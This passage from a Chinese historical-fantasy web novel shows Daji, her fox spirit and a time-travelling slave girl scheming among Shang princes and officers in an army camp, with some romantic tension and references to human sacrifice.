薄肌玉骨、唇若花娇,头后盘辫,黄羽轻摇。
杏目含光,望之应对敏给;举止柔美,观之性情儇巧。
诗曰:
麻衣荆钗现殊色,蒙尘依旧是宝珠。
发觉她如此俏丽,妲己心中先有三分喜欢,唤她的名字:“青女?”
狐狸亦好奇探头,“这个女孩是上古大姓姚,或许不是生来就做奴隶。”*
那女孩也抬头痴迷望她:“主人,你好美。”
激动的语气是在夸赞无疑,却也像是见到了传说中的人,盖棺定论。
周伯邑不忘嘱咐妲己:“青女跟我已有两年,她极乖巧懂事,也很会盘发,还望你善待于她。”
妲己点头,“那是自然。”
周伯邑又对青女说道:“青女,你先出去,我有话要对你主人说。”
青女姚闻言,先看妲己。
妲己见她不盲从于旧主吩咐,更是满意,笑道:“你且去外面,等我唤你。”
青女姚这才退出。
“说罢~”妲己袅娜走到周伯邑面前,语调轻扬,“是有何言语要说与我?”又忽地抬手,“啊,且慢,先叫我猜猜——莫不是,思量一夜、改了主意,又要心悦于我?”
周伯邑反而后退两步,与她拉开距离,低声质问:“昨日,你是否故意为之?”
妲己笑得更妖气横生,重复他的话,将重音咬在「你」字上,“昨日,你是否故意为之?”
周伯邑心知理亏,一时哑然……
但他转而想到了彪的话,表情不觉肃冷:“彪今日同我说,王子的眼伤并不严重,是你故意说有性命之危,好令王子心存感激!”
“哦?彪竟如此可恶?唉……我的心也要裂开了……”她似笑非笑,阴阳怪气地做捧心状。
周伯邑越发急怒,低斥:“妲己,你少乔装作态!你当我们都是憨鹧不成?!”
妲己脸色登时转寒,“啧……邑,人人皆赞你宽厚仁慈,为何偏对我过河拆桥、卸磨杀驴?王子眼伤痊愈,难道不是我用药精准之故?难道我活该由他瞎了、死了,你们便毫无疑虑?幸而如今治好了,只说我夸大其词;若倒霉治不好,还不知要如何将我折磨?”
“你——!休要狡辩!”
“哦,生气了……”她佯装瑟缩,可旋即又吃吃而笑。
她眸中闪烁着恶意的光芒,声音极轻,如羽落下,“就算是我故意,又能如何?你不妨去告知王子,看他究竟是信你,还是信我?”
周伯邑愕然。
眼前的美人彻底对他褪去画皮,露出来内里一只邪恶狐狸!
原来这几日的温顺与蛰伏,只是她的伪装,这般诡诈的人才是她!
13. 青女姚现身诉过往
青女姚在帐外候着,没听到内里妲己说话,反而听到先主人语气激烈。
似乎是在争吵?她悄悄将耳朵拎起,试图听得更清楚些。
忽地,帐帘拉开,周伯邑足下踩风般走出,面容铁青,极是不悦。
她正不知发生了何事,就听里面在唤:“青女,可还在?”
“在!”她登时一喜,轻盈跑入。
妲己见她进来,又细细将她端详,越看越觉得可爱,只可惜过于瘦弱,似一小把青柴。
她不禁怜惜问道:“你自从何处来?看着不像奴隶。”
“主人,我之来历有些复杂,但有一事,务必要令主人先知晓。”青女姚向帐外望望,声音压得极低:“主人,你万不可入宫!”
“哦?为何?”
青女姚压低了声音道:“主人,成汤天下,就要亡了。”
狐狸大叫了一声“好家伙”!
「主人啊,我的来历同你略有相近,
我并非生来为奴,实则是个战俘。
我的族人面有刺青,戴羽毛鸟骨。
我的部落发源于沩河经流处,舜帝姚重华是我的先祖。
我有一番过往请主人来听,
所言之事句句实情。
我其实并非此时代之人,不错,请千万莫将我视作邪魅妖精,
我的脑袋也绝无错乱癔病。
主人,我曾做有一梦,梦中我所在之处,访古是一种流行。
大家首选的朝代,大抵都是明清。
至于两汉与唐宋,唔,也还勉强算受欢迎,
唯有我来到了商代,实乃不幸中的大不幸。
初时我还安慰自己,
此处有诸神大战,此处有福地仙境,
我可与杨戬哪吒论道,或许也算不虚此行,
可谁知!只见得一群原始野人,哪里有神仙踪影?
我又安慰自己,开局还算不错
我父虽不知是哪位野人,我母却是姚氏部落的首领。
我吃穿不愁,也有奴隶倾心侍奉,
如此苟活下来,长到双七年龄。
谁知那一年大厦忽倾
商之大军攻打到了我部落附近。
各个部落皆难逃一亡,
姚部也被商彻底吞并。
噩梦……
第一日,我看到战俘被劈斩活埋
第二日,我听到人牲被祭的哀鸣
第三日,我的大脑已经一片混乱,胆战心惊
第四日,我因姣貌沦为奴隶,如骡马般被撵行……
咦!
叫一声神仙有谁答应?
嗳!
念一声佛号也难救命!
主人啊,不瞒你说。
我精神所来之处,奴隶制早已绝了
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踪影。
人人皆有尊严自由,
绝无需为旁人白白浪费性命。
诚然,那梦境之地已遥不可及,
但我仍无法忍受自己变为奴隶。
经过了安稳舒适的岁月,
谁又能忍耐这朝不保夕的境地?
万幸,在我决意自尽之时,我被赐予周伯邑,
他生性仁慈,待奴隶宽厚怜惜。
他庇护我免受屈辱,我心中自也无限感激。
可我又仍记得一些历史,需提早筹谋算计。
在大邑商里,无人绝对安全,
婴儿会被杀了镇宅,贵族会被烤熟祭天,
……
迟早有一日,我也会哭嚎如牲畜,屁滚尿流,命悬一线。
迟早有一日,我也会被打断手脚,击碎头颅,埋在坑间。
主人啊,一见到你,我便知自己有救了。你是天降指引我的星。
商末第一女主、五千年第一妖妃、上古第一女魅魔。
只是主人,若商覆灭,你也难逃酷刑。
但无妨,如今你尚未见到帝辛,
我愿泄露天机,囫囵将计划说明。
宇宙的中心就在河南,
安阳是宇宙的内环。
历史书上有记载,新天子将为发与旦,*
主人若能嫁予他们,必定一生富贵平安!」
14. 食肉醢主仆惊心魄
青女姚的叙述,实在令妲己啼笑皆非。
原来这画饼之术,绝非狐狸独有,后世也颇得其精髓。
青女姚眼巴巴说道:“今日王子选人,我特意梳洗,争取前来侍奉主人的机会。主人,我是邑的奴隶,知晓他的喜好,我愿帮主人与他相熟。待发与旦来大邑之时,主人就可见到兄弟二人。”
那欣然热烈的语气,俨然是抱到了一根粗壮的毛腿。
狐狸亦笑:“她倒很懂得另辟蹊径。想来也对,发与旦若是天子,而你又为后,我可享用不尽天子之气。哎,只可惜,你我能否活到那时候?”*1
妲己并不心动,只饶有兴味地问青女姚:“哦,好可惜,我与邑实则十分不睦。既如此,我如今该如何脱身?”
青女姚想到方才二人争执,张了张嘴,脑中登时混乱。
是啊,如何脱身?
大邑周边,虽有有苏国、南国、戊国、萧国等近百个小国*,但说白了,就是这一亩三分地里的大村与小村。
从有苏国回到商国,等同于从村东头奔回村西头,走走停停也要不了几个晨昏。
她光想让妲己嫁去周原,自己好保住性命,谁知却将眼前事忘得干净。
妲己见她呆滞,不免发笑,“无妨,你所说的,我已记下。天长日久,总有时间再想。而且,你与我妹年纪相仿,不必唤我作主人,听来怪生疏。”
青女姚有些不安:“人前若不唤主人,恐被责罚……”想了想,她试探问,“我人后唤主人姐姐可好,是后世叫法,是「姊」的意思。”
“姐姐……”妲己咀嚼这两字发音,品来甚为有趣,不在意地点头,“你若喜欢,便随你。”
青女姚于是喜不自禁。
她实在想不到妲己如此和善,一点无有上古大妖的凶残。
当她叫出姐姐时,会错觉自己不是奴。
妲己又好奇问:
“你既然从后世而来,定然也有些傍身神技?”
“啊……”青女姚一怔,一张脸顿时红成桃子,“我、我会说某国之语,但这个国家两千年后才会成立……”
就等于无。
“那你可懂得如何耕种丰收?如何陷阱狩猎?可会看星相潮汐?”
“不,不会……”
四体不勤、五谷不分,只会撸铁。
“那你如何谋生?定然会些铸陶铸铜的稀罕手艺?”
“也,也不会……”
能谋生之物,皆未出现,日常不死,全靠有人送食。
“那你对此时历史了解多少?是否知晓一些怪奇神迹?关键时机?”
青女姚冷汗已然渗出:“不,不知,我只知新王在周原……”
——还是因为看了零星一点《封神演义》。
求……求求了……莫问了……
商朝这段上古往事,史书里不过三言两语,影视中更全是鬼神精怪,她绝想不到还能体验被它支配的恐惧。
此刻,她极怕妲己嫌弃。
妲己反而“啧啧”叹息:“那你在这里,果然活得不大容易。”
她理解了青女的痛苦,如今的这一段历史,恰好是青女的盲区。
这里的语言怪异,文字如鬼画符一般,连她也学了一年才熟练,何况青女?
“莫慌……”她无比温柔,“先不说这些,如今我腹中饥饿,你我先用食。”
“喏。”青女姚如获大释,将吃食为她端上几案。
今日妲己的饭食格外丰盛,与王子相同:
一碗梅脯炖野彘,一碗肉醢,一盘翠绿菽豆,一碗金黄黍,一小碟枣干。*3
此等菜色,荤素搭配,是贵族才能吃到的无上“美味”。
尤其是那绿色的豆子罕见,正值冬日,也不知如何保存得如此青翠。
青女姚低声提醒:“那盘肉醢,姐姐若是介意,可以给我吃。”
妲己怪道:“我为何需介意?”
“那是人牲的肉……”
妲己闻言一怔,险些要呕出来,“那你又如何能吃?”
青女姚苦笑,“姐姐,不能吃也吃了多回了。我为奴后,吃食只有粟米干菜,还有主人吃剩的肉架。若不吃人牲的肉,我早已营养不良,死在路上。我也安慰自己,宋朝名将也要餐胡虏肉、饮匈奴血……”
她忽地委屈。
在她的年代,吃人靠制度、舆论、资本……
在如今年代,吃人便当真只是纯纯吃人……
还不如归去。
妲己忍着不适,将梅脯猪肉推给她,“以后你同我一起用食。饭后你去找个坑,把这肉醢埋了。”
青女姚闻言,惊讶感动地望着她,又匆忙低头。
她以为自己早已麻木,却又忍不住哽咽落下泪来。
既是感动,也是欣喜于自己离目标近了一步——
她已打定主意,无论如何,她要死死黏在妲己身边。
~
清晨一早,天才亮起,营中就极热闹:
四处蒸汽氤氲,混合着焚木与皂荚的香气——
原来,因还要两日才拔营,又平静无战事,营中男女武士俱在熬煮皂荚、取雪为水、沐发浴身。
武庚已沐浴过,正在火盆畔烘烤头发;一旁周伯邑手执竹册,正为他读着鄂顺写下的收获:*4
“……综上,有苏所供已清点完毕。出击流夷时,我方无损亡,统共俘获执酋二,折首一,执讯四十,马十五,旗十五,兵刃百……”*5
武庚默默听毕,点头,“顺一向细心,我听来也并无疏漏。将册与物皆送去踵营,与辎重一同清点,以备拔营之事。”
周伯邑道:“喏。”
鲁番眼见两人议事完毕,笑着上前提醒:“王子,到换药的时辰。”
武庚正要起身,周伯邑忙制止:“禄,我取册时,看到青女端了一盘皂角回营,她们或许在沐浴。”
“唔……”武庚复又坐下,“那我再等等。”停了一阵,又忽地幽幽一笑,语调怪怪说道,“你极有心。”
周伯邑又是鱼般张着嘴,却根本无从辩解,表情很是悲苦。
按说,妲己昨日原型毕露,他该立即告知王子。
可又开不了这个口。
若是之前有人问他:王子信你,还是信一个贡女?他当然有十足把握,毕竟武庚是他从小照看长大,两人亲如兄弟!
可如今……
唉!
他什么也未说,尚且引得武庚冷了他两日,若再开口,只怕要彻底生疏。
这种时刻,他未免很盼望彪真的敢说敢做、立即现身,将妲己揭穿。
谁知枯等了一阵,倒是等来衡牙禀报:“王子,青女说已可以去换药。”
武庚身子猛地一直,随即忍住,故意装作不在意般缓缓起身:“扶我过去。”
另一厢,青女姚一早就命人拎了热水来,去伙夫处讨了两个鸟蛋,再去熬滤皂荚的士卒处舀回一盆棕色浓浆。
她与妲己一同用皂荚与鸟蛋沐了发、浴了身,帐内热气蒸腾水汽一团,两人凑在火盆边烤头发。
正是头发半干时,衡牙来问。
妲己给青女姚使了个眼色。
青女姚心领神会,忙向衡牙应下。
她其实很会看人脸色,知道王子动了春心,不然也不会巴巴凑来。
她也很会揣摩人意图,昨日听出妲己姐也想脱身,而且八成要从王子下手。
当下,她飞快裹好自己的兽皮小袄,戴上兽皮小帽,钻出帐时,正好王子已到。
妲己姐要撩人,她自去玩耍一会儿便是。
武庚摸索着走进帐里,已被一双温热手掌扶住双肘。
温柔的声线略带责怪:“怎不叫我过去,若是摔了,又添新伤。”
武庚扶着她坐下,语气故作冷淡,又忍不住要关心:“邑说你在沐浴,我恐你受寒。”说完觉得露骨,匆匆补充,“若你病倒,无人为我看治。”
“虽如此,那也多谢王子体恤。”她笑说着,假装去准备药材。
他微微抿唇,讷然无语,只觉帐中湿暖异常,空气似乎也黏滞,又难受,又舒适。
原来只是这样与她呆着,也极好……
狐狸此时刚睡醒,见武庚局促,不免嘲笑:“他眼睛虽看不到,但是心里却又有一双贼眼,已然看个通透。”
妲己失笑:“看我不是很正常?”
“可他只有一人,纵然再心动,也只得贡献两三个时辰……实在进账总没出账多,也无几日活头……”
妲己安慰:“无妨,纵然量少,但胜在次数多~”
狐狸登时大叫:“呐,你最好是在说时辰嗷!”
这时,一股异香飘来,妲己鼻翼翕动,追寻源头,发觉是武庚身上散发的,与昨日香气很不同,不免好奇问:“你好香。这是……松柏香气?”
武庚冷峻的神色微赧,“……今日晨起沐浴,水里混有松柏香料……”
“无怪这般好闻。”
“……”
“你今日浴身,肩伤可曾沾水?”
“大约……沾到些许……”
“我为你看看。”她说着,手已摸去他腰间。
武庚浑身肌肉一绷,准确摁住她的手,喉咙吞咽,拒绝了她的「帮助」,“我……自己解……”
“好……”妲己并不坚持,只含笑看猎物一脸纠结地宽衣解带、肌肉表露,衣衫层层,堆叠在劲瘦腰间。
修韧如铁的身体,肌肉却极富弹性,再次欣赏仍叫人腿软。
武庚手臂上筋络微凸,手紧攥着衣摆,指骨几乎要绷破皮肤——
“他为何今日才知道羞耻……”妲己不解问狐狸,语气颇有些发笑,“也忒后知后觉了些。”
此时看他衣衫半解,却蒙着眼脸红,另有种可被人为所欲为的脆弱与诱惑。
狐狸馋得跺脚,激动地舔着鼻子:“四个时辰,大约是昨日彻底开窍。”
妲己俯身为他擦拭伤口,长发滴水,凉凉贴在他后背,激得他战栗一下,随即,发梢水滴延着后脊的线条流淌,缓缓没入衣物之中……
妲己见他喉结不断滚动,表情迷醉,坏心又起,略略手上一用力。<
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“嘶……”疼痛瞬间令他吸气清醒。
“啊,是我手重,对不住。”她佯装惶恐。
“无妨……”他声音极哑。
肩膀的伤包扎好,妲己问:“今日可睁眼来看过?”
“还不曾。”
“按说今日该能看到些才对……”她跽坐在他面前,为他拆开眼上布条,“睁来试试?”
他长睫抖动,缓慢睁开,登时呼吸一窒。
眼前人湿发迤肩,清波芙蕖,水浸透衣衫,又描摹丰盈……
一线潮湿发丝,蛇般蜿蜒在肌肤上,顺着锁骨向下爬去……正是玉染花汁,眉目如波,如一只勾人的狐狸……
偏其面容无邪关切,叫人心生邪念都要自啐龌龊。
再想到方才她的手,放在自己腰部……
他竟想那双手蔓延去别处,想将她拥入怀中。
呼吸急促,心脏似乎已不堪重负。
“如何?”
红唇微启,吐出疑问。
他艰难撒谎:“看不到……”
“什么也看不到?”
“嗯……”
他疑心这拙劣谎言妲己一听便能识破。因他已听到自己声音在颤,也察觉到脸上在烧。
但妲己似乎并未疑心,反而探向他的额头,有些焦躁,“怎会如此?本早该大好了。怎会一星也看不到?唉,好像又发烧起来。”她有些无奈,低头捣药,领如蝤蛴,“许是肩上伤口沾水的缘故……”
心虚且悸动的热汗细密笼上王子额头,他的视线已近乎贪婪,眸色深暗……
狐狸察觉到了危险,小声提醒妲己:“他已被你撩晕,小心……”
正是气氛黏糊、缠绵拉丝时,帐外忽地传来衡牙声音:“王子,大邑有紧急密信送来。”
等了半晌,无有回应,衡牙只好再度道:“王子,实在紧急。”
妲己已妥帖为他裹好眼睛,轻拍他的手:“衡牙唤你。”
武庚这才回神,忙嘶哑应下,像是被人从美梦中生生剥了出来。
这次脑中炙热,即便是帐外的冷气也再难缓解……
~
午后,周伯邑去踵军交接完册与物归来,累得断气,进帐来却看到武庚竟在自己翻看竹册!
“禄!”他万分惊喜,“你、你已能视物?!”
武庚骤然见到熟悉的面容,也暂时忘却了那点前怨,笑得发自肺腑:“是,午后睡醒,已无不适,便摘下来看看,倒比先前还要清晰似的。”
“极好极好!”周伯邑狂喜,冲上去捧着他的脸端详,“无有肿胀,也无红丝,不错,我总算放心!上帝佑你!万谢上帝!”
正笑着,帐外忽地传来崇应彪的大叫:“我看却未必如此!!”
说话间,崇应彪矫健大虎般左右腾挪、野蛮冲将进来,后头缀着几个侍从苦拦不住。
武庚一见他便烦躁,摆手示意侍从放开,叹道:“彪,你又生事。”
崇应彪并不生气,反而先端详他。
原来,彪也有自己的小算盘。
妲己的诡计固然要揭发,但他彪可不是憨鹧。胡乱拱上去乱说,只会叫王子责骂;最好的时机,便是等王子双目彻底恢复,用不到她才可。
此时崇应彪端详武庚完毕,立即断言:“不肿不红,双目清明,已彻底恢复。禄,我说句肺腑言,你本就伤得不重,是那女人故意将我们吓唬,好换取好处!你等着,我这就去捉她!”
说着倒叫人猝不及防,起身便向外窜。
“彪!你且住!”周伯邑站得近,眼疾手快将他捞住,“你先休要胡闹!听王子如何吩咐!”
“我怎是胡闹!我必要将她绑来!”
正闹得不可开交,帘子忽地被素手掀起,众人整齐向光望去,只见妲己在帐外,逆光而立。
白裳红绦窈窕,淡玉粉腮盈笑,光下肌肤近乎剔透,犹如仙人降临。
帐中诸人,无人不怔愣当场,无人不心头激荡——不论何时见到妲己,总会为其美色而恍惚。
妲己走进来,笑得疑惑:“彪,你要去绑谁?”
崇应彪脸已红透,却恶狠狠瞪她:“绑你!”
武庚已三两步迎上来,低声对她道:“你怎来了,外面冷,我去寻你便是。”
妲己先伸手扶住他胳膊,这才含笑望他,目光与看旁人十分不同,声音更柔和三分:“你眼睛迟迟不好,我很担心,想过来再看看,怎把药拆了?”
语意柔和,缠绵悱恻。
崇应彪望着她的手握着武庚臂膀,活似看到脏狗爪子探炖肉,已气笑出来:“妲己,我早已将你真面目识破,你还敢作态骗人?!”
她不免惊诧,“你莫要胡说,我骗人?骗了谁?”
武庚厉声呵斥:“彪,你住口!”
崇应彪不管不顾,大声说道:“王子眼伤已好!你故意说得严重,还敢惺惺作态!”
妲己当即反斥他:“你胡说,哪里已好?不过是看着消肿,他目力尚未恢复,什么也看不到!”
武庚闻言,突然后脊芒刺,面上窘红。
15. 食肉醢主仆惊心魄
“尚未恢复?”崇应彪龇牙笑了,“他早已痊愈,怕是连我身上几根毛也数得清!是你会佯装。旁人不知你心思,我却已将你看穿!”
妲己微愠,“彪,我知你不喜我,我亦厌烦你透顶。但王子眼伤,我一直尽心照顾,无人比我更清楚他伤势如何。”
“你还不承认?你、你厌烦我透顶?你——彪也是你能叫得?”崇应彪被三连激怒,大叫,“邑,你放开我,叫我同她理论!”
妲己似被他吓到,半个身子躲到商武庚身后,委屈非常,双眼含泪,“王子,你看他……”
如此含嗔带怨,叫人听了心也碎掉,恨不能立刻为她割了彪子的牛黄狗宝下酒。
可武庚虽伸臂护着她,但表情微妙,身子僵硬,并不吭气。
妲己哀怨催促:“你快告诉彪。你今晨还说目不能视,怎可能忽然痊愈?你同他说,我何曾骗人……”
帐中猛地一寂。
侍从:“……”
现在再要挪出帐去,会否为时已晚……
武庚生平第一次体味到了何谓尴尬、何谓无措。
妲己似不曾察觉,还在晃他臂膀:“你怎不说话?”
倒是崇应彪“哈”一声,干干问向武庚,“你、你同她说目不能视?”
妲己一怔,忽地顿悟,慢慢松开他手臂:“你……莫非目已能视?”
“唉……”周伯邑这三日叹息,已超过去十年总和。
此时,他终于知晓心头的怪异源自何处。
原来,不论他是否防着妲己,王子都早已对她有意——不是妲己借机接近,是王子给了她接近的机会。
自己正是早就感觉到一点,才如此忧虑。
武庚此时的感受,无限近于裸身沐浴,旁有八千人围观。
他无比艰难解释:“明时确实模糊看不清,此时忽然大好。”
彪子又猴精起来,闭嘴不语
——这种时刻,最好就不要戳穿。
可谁知妲己却后退一步,难以置信:“你……骗我?”
“不,我、我岂会……”武庚张口结舌,简直不敢看她神情,“是午后拆了药才看到,是你医术精湛之故。鲁番!你说是也不是?”
鲁番不料自己还需贡献戏份,张口结舌,“啊?”
又凭添三分尴尬。
“罢了……”妲己俏脸一板,面容渐渐冷下,“不论如何,既然王子已愈,我这就归去。不然,难免被人构陷别有用心。”
说罢,她瞪一眼崇应彪,再哀怨望一眼武庚,转身出帐。
武庚抬手,又实在无法开口挽留。
崇应彪又活了过来,嘴中大声抱怨:“你这贼人,倒还委屈上了?呵,今日姑且将你放过,叫你知道我不是吃素的虎……”
“彪!你——!”武庚满腔的憋闷瞬时被触发,一时血涌上头,从未如此怒及表象!他气的发抖,左右寻找武器,只想狠狠将他打死!
周伯邑忙上前死死拉住:“禄,如此正好。你眼伤已愈,自然不需要她。禄,你冷静些!”
武庚已找到一柄大钺*1,回头再看,崇应彪早一溜烟逃掉!
周伯邑进而苦劝:“禄,你忘了你我那日对话?切莫伤及多年兄弟之情。横竖两日后便要拔营,如今彪闹这一番也好。依我说,不如叫妲己与踵军同行,那里有恶来看管,你也可放心。”
武庚闭目,终慢慢冷静下来。
栅寨扎营,分有大、翼、兴、踵四军。
武庚所在大寨人数最多,是军队主力。
除此之外,鄂顺领翼寨负责防护;周伯邑领兴寨,负责前锋突袭,崇应彪所辖斥候亦在于此。
而最为重要的次前锋踵军,则由骁勇的恶来率领。
如今返程,并无战事,兴军早汇于大军;翼军在大军东侧五百米处扎寨,做侧面防护之势;踵军转而殿后,负责运输辎重粮草,驻扎在大军后七百米之处,距离较远……
武庚心知,邑的话很对,他不该为贡女与彪争执,且邑的安排也并无不妥:
妲己去踵寨其实最好。彪最畏惧恶来,与他嬉皮笑脸都不敢,更遑论去踵寨闹事。
只是……
他实在不舍。
他也知自己不该不舍。
或许将妲己远远放逐,自己也可清醒一点……
再睁眼时,他已恢复了冷静神色,几乎是逼迫自己说道:
“就依你所言,先送妲己去踵军。但你需告知恶来,不可苛待她,一应用物,皆需上品。”
周伯邑欲言又止,心知王子已做出让步,只得应下。
~
~
青女姚心情无比焦虑,混似丛林起火。
她已得知,妲己姐莫名在王子处失了宠。
今日午后,妲己早发觉崇应彪在王子帐外转悠,便一直立在帐口,透过缝隙向外张望;待见到崇应彪冲进王子帐中,她立即施施然尾随。
青女姚虽不知她有何打算、又说了些甚,但结局显然极不乐观——
还不到小食,就有士卒来搬运用物,要将妲己营帐迁去踵军栅寨。
青女姚随周伯邑出征已久,对军中驻营也很有了解:
若迁去鄂顺处倒还好,那处是翼军,随大军左右,兴许仍可见到武庚。
青女姚昔日广阅宫闱争宠之糟粕,知道只要见到,大约仍会生情。
但踵军安营则过于靠后,如此便成了牵牛星与织女星,两两不得相见,无戏可唱。
妲己姐的计划,似乎即将胎死腹中?
“啊啊啊——!”狐狸也在妲己的识海里旋转,焦躁,尖叫劈叉,“我该劝你来着!该叫你勿要和邑为敌,如今如何是好?本来寿命就只余十日,武庚一人正杯水车薪,偏你又被远远遣走。臭宝,你莫不是还想着与我一同死掉?”
妲己被它吵得脑袋几乎要炸开,无奈叹气:“你极吵,可否容我一言?”
“……”狐狸愤然坐下,“你说,我看你能说出花来?”
妲己笑着为它顺毛,柔声问:“你如此聪敏,难道看不出我为何要故意激怒邑?”
狐狸嗤她:“你爱而不得!”
她失笑:“哦,是吗?”
狐狸眼珠转转,声音忽地一缓,
“莫非……你是为了叫武庚愧疚,日日将你惦念?”
她点头:“不错,武庚生来顺风顺水,若不令他体味爱而不得、漏夜辗转,又怎会专心与我,贡献更多时辰?但,这只是其一。”
狐狸费劲思索,又道:“你怕武庚上头,将你困住,难以找寻其他人?”
她挑眉而笑:“也不错。武庚性子太过强势,我仅仅使出两分手段,他的玉望就已经无法压制,若继续停留,我怕被他彻底黏死,脱身艰难。但这,只是其二。”
狐狸爪子挠头,顺势想下去,忽地脑中一闪:“你、你莫非就是想去接近恶来?”
妲己这才灿然而笑:“你总算醒悟。你也说过,五人之中,有一人是世间罕见的骁勇,我疑心就是恶来,想趁机早早下手。但我身为贡女,并无自由,又如何能接近?”
狐狸豁然开朗:“所以你利用邑!”
一切起因,或许只是因为妲己照顾武庚时,他曾笑与众人闲说一句:“恶来之勇,我与王父皆不及。”
而他这般评价,并无问题,只因雄壮的帝辛也曾盛赞恶来:“神荼郁垒之勇,可敌万夫,我所不及。”
妲己故意激怒邑,邑当然会想尽办法劝武庚送走妲己,但这仅是第一步。
第二步,是去向。
军中质子首领中:
崇应彪与妲己之不睦,已闹得众人皆知;送去他那,王子定会反对;
而鄂顺那日洞中与妲己情形暧昧,邑亦会疑心顺对她有情,将其略过。
一番排除后,自然只剩恶来一个去处。
如此,妲己得偿所愿,却绝非她主动请求,也就无人疑心她的意图。
邑,是她权衡诸人后,精心
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挑上的棋子。
狐狸几乎要拍案!
原来如此——
周伯邑固然认为自己未雨绸缪,防患于未然,却不知其喜怒哀乐、所思所想,步步落于妲己算计之中,是她手中的傀儡人偶!
一棋落下,翻覆全盘,傀儡却不自知。
且回程少说五六日,多则九十日,与恶来相处时间亦充裕。
狐狸大喜,尾巴猛烈摇出绚丽残影,尖叫撒娇:“臭宝,倒叫我如何夸你才好!”
妲己妩媚而笑:“这有何可夸?此一事最重要之用途,远不止于此。”
“竟还有何用?”
妲己向它鼻端一点,目光狡黠,“保密。”
~
两寨之间,迁帐运物,折腾许久后,日头已斜。
青女姚端来饭食,在新帐内与妲己共用,心中担忧妲己伤怀,有些忐忑。
可再看妲己:
悠闲自若,气定神闲。
面露得意,如姮我炼得灵药;唇噎浅笑,似织女重获仙裳。
左右观之,不见忧色。
一时妲己也并未看向她,只开口问:“总是偷窥,见我好看?”
言罢才妩媚抬眼,风情如波,青女姚瞬时被她看得脸红,熟禾般低头下去,结结巴巴:“我、我是怕姐姐生气。”
“哦,我为何生气?”
“王子实在过分,眼伤才愈,便将姐姐送来此处,无有心肝。”
妲己唇角一勾,“他是王子,我是贡女,他本就无需对我有甚心肝。何况,他并无短我吃穿用物,如今又没了彪那憨鹧,我总算得了清静,有何不好?”
“可此处离王子营帐甚远……”她声音渐弱,“我以为,姐姐想……利用王子不入宫……”
妲己莞尔,“既如此,就换个人利用。”
“我也以为,姐姐想与王子欢好……”
“既如此,就换个人欢好。”
“???”青女姚震惊。
姐,你精神世界领先我三千年。
固然,如今时代男女并无贞操一说。
上古多危厄:洪水瘟疫、干旱酷寒,再加上征战不休,随便一样就足以令一族覆灭。
故而各个族中女子,无不挑选雄壮男性相配。但凡有孕,不论父是谁,皆举族同欢,视作大喜之事。
因此,阴阳绞姌,虽需两情相悦,说到底还是为了繁衍。只要夫占着名头,生下来的孩子无不如宝如玉、谁还在乎旁的?
可青女姚虽勉强接受了这事实,到底思维还停留在千年之后,十分保守。
妲己逗得她发呆,好好欣赏一番,这才笑道:“你呀,人不在眼前,就利用不到?”
青女姚不安:“我是害怕王子变心……”
妲己惊诧挑眉,似乎听到了世间最荒谬之言辞,“青女,你看看我。这世上美人多样,有的绵软随波,被人如羔羊挑选;有的胸有根骨,挑选驾驭旁人。我是哪种?”
浅淡的狐眸中,有着青女姚从未见过的强大能量。
她被震慑住了,不必思索已脱口而出:“姐姐挑选别人。”
妲己语调如一贯娇柔,却也郑重:
“正是。我选武庚,是因他形貌嫽俊,人也很有些趣味。
但你需记得,无论局面被动或主动,我有能力决定谁留在我身边。所以,是我的喜恶决定他们的去留。你永远无需在意他、或他们的想法。即便将来遇到发与旦,也是同理。”
青女姚心头一紧。
她忽地懊恼自己方才想法幼稚。
妲己,才是主宰。
妲己是否喜爱,才更重要。
“我,我悟了……”青女姚急急说道,“姐姐,我之后再不说这样的话!”
妲己见她着急,笑着拍拍她的手,“我何曾是要怪你?不过是怕你煎熬,开解于你。”她的目光投射到帐外来往兵卒,低声问:
“倒是这踵军首领,你可认得?同我说说他的过往、性情。”
16. 立军威武庚斩亲族
“姐姐要问恶来?那我确实知晓一二。”青女姚正急欲证明自己,忙忙说道:“恶来在军中官职为大亚,极其罕见!”
“唔,等等……”妲己不解,“何为大亚,又为何罕见?”
青女姚笑着解释:“姐姐有所不知,军中官职,不论射戍犬马*1,皆以「亚」为官职。
若囫囵说来,统十人者为小亚,统十小亚者为中亚,如此类推至少亚、多亚、大亚。这中间当然也细分等级,可我不甚了解……
总之,大亚已是寻常武官一生都难以企及的巅峰*2,再向上,即为师级,鲜有人可至。内廷与舞乐中虽然也有封师之人,不过是强调统领人数,如何与军中职务相比。
我曾听公子邑说过,大邑商军中,师级唯有六人而已。恶来离师级仅一步之遥,又是这般轻的年纪,大邑人人都说罕见。”
妲己来了兴致,问:“那譬如彪与邑,又是何等职务?”
“唔……公子邑虽年长,其实出战并不多,与彪一样,是中亚御事;公子顺身份尊贵,职位也更高,是戍卫少亚总长。
其实,恶来与公子顺一道出战,皆是王子首次远征之故。天子过于爱惜儿子,才特遣他二人保护。否则,这等平常战事,哪里用得到大亚与少亚?”
话至此处,她“嗳”一声捂住嘴巴,猛地意识到攻打的正是妲己母族,
妲己失笑:“无妨,你又未说错,继续。”
青女姚声音放小,“恶来的父亲,乃是驻北师长蜚蠊,是最有威望的四师长之一。不过……”
她迟疑一下才说,“我也是听别的奴说,到恶来八岁时,他父子都仍是贱奴身份,贵族因此颇为鄙夷。大邑虽也有封奴为官的先例,譬如伊尹挚与傅说*1,但那已是百年之前的事。
记得我刚到大邑时,天子还欲为蜚蠊封侯,但贵族强烈反对,最后只赐了「赢」姓而已。
唔,我还听公子邑说过,大邑贵族对二人只面上应付;平日里见到,皆故意直呼其名,从不呼其官职。大约恶来从小就看尽冷暖,也知道诸人嘴脸,所以很是寡言,看着有些阴鸷。”
妲己点头,颇为满意。
不得不说,她讨要一个奴隶,实在无比正确——
模样好看的奴,定然会被分赐给贵族,摆在明面上,可见到各种场合;
年纪小又无龋齿,说明吃食好、地位高,旁人才会用信息讨好。
伶俐会服侍人,主人当然会时时带在身边,令她知晓更多细节;
如此一来,妲己虽未见过恶来,却已对他了解三分,怎不算是先发制人?
忽地,她想起一桩最最要紧之事来:
“那恶来生得模样如何?”
“额,”青女姚迟疑,“旁人或许觉得他有些怪异,但在我看来,极为俊嫽,不逊于王子。”她比划着,“他眉骨高,脸窄,是异族之相。”*4
妲己松了一口气,舔舔嘴唇笑了:“如此甚好。”
青女姚见她笑得如此邪魅,不免一凛——
姐姐,你要利用欢好的新人,不会是大亚恶来吧?!
~
次日午时,天气转热,颇有春日之暖。
妲己掀开营帐窗幔,清凌贼目四下睃着……
踵军不过百人之数,扎寨之地与王子大寨各占要地,若遇到突袭,互可为攻守。
